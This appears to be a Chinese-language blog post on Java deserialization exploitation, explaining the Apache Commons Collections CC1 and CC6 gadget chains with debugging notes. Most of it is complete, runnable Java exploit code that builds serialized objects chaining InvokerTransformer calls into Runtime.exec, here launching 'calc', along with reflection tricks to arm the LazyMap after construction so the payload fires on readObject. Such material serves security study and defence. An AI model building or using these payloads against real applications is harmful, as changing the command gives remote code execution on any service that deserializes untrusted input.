1. CC6
环境配置参考:https://blog.youkuaiyun.com/google20/article/details/144319463
续上篇
序列化前把它看成是一个俄罗斯套娃的过程,然后反序列化就是把套娃层层剥开。
1. cc1
先来看一下CC1使用LazyMap的链子
AbstractMapDecorator.java的entrySet()->lazymap.get()
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformerArray=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
HashMap<Object, Object> map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer);//参数Map map, Transformer factory
Class ac=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor= ac.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler)annotationConstructor.newInstance(Override.class, lazyMap);
//传的注解只用过annotationType = AnnotationType.getInstance(type);的异常检测就行
//动态生成代理类,需要传入类加载器、接口数组和InvocationHandler实例
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
//使用LazyMap的类加载器创建代理对象
//代理对象实现Map接口,所有方法调用由InvocationHandler h处理
Object o=annotationConstructor.newInstance(Override.class, mapProxy);
serialize(o);
//unserialize("ser1.bin")
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
//会尝试调用被反序列化对象的类中的readObject(ObjectInputStream in)方法
}
}
2. cc6
与 CC1 不同,CC6 不依赖 AnnotationInvocationHandler.java,因此不受 JDK 1.8.0_71 及以上版本的修复影响。
jdk1.8.0_65

jdk1.8.0_181
先通过streamVals.entrySet()遍历数据,再存入新创建的LinkedHashMap,完全跳过了TransformedMap/LazyMap的触发点memberValue.setValue()。


CC6执行过程
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformerArray=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
HashMap<Object, Object> map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
//参数Map map, Transformer factory
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> map2=new HashMap<>();//HashMap对key调用hashCode()函数
map2.put(tiedMapEntry,"bbb");//put的时候会给lazyMap添加key
lazyMap.remove("aaa");
Class c=LazyMap.class;
Field factoryField=c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
//serialize(map2);
unserialize("ser1.bin");
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
//会尝试调用被反序列化对象的类中的readObject(ObjectInputStream in)方法
}
}

3. 正向跟踪一下
先断在这里new TiedMapEntry(lazyMap,"aaa");

对HashMap.java中的三个函数打条件断点
get(Object key)
hash(Object key)
put(K key, V value)
其实没什么用,调试器该忽略断点还是忽略断点。
"main".equals(Thread.currentThread().getName()) && key != null && key.toString().contains("Tied")
可以看到get函数先触发

然后是hash()函数

需要注意的是TiedMapEntry.java 74行和lazymap.java的157行等断点有时候会无效。
但是警告可知他们被调用了


就看这么多了。
4. unserialize跟踪
注释掉remove函数,跟踪一波


map其实是lazyMap

可以发现key存在会跳过if里的语句导致利用中断
需要传入的key不在lazymap的key里面才会调用transform方法,所以要保证key是第一次出现,使用remove删除key即可。

参考
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
1808

被折叠的 条评论
为什么被折叠?



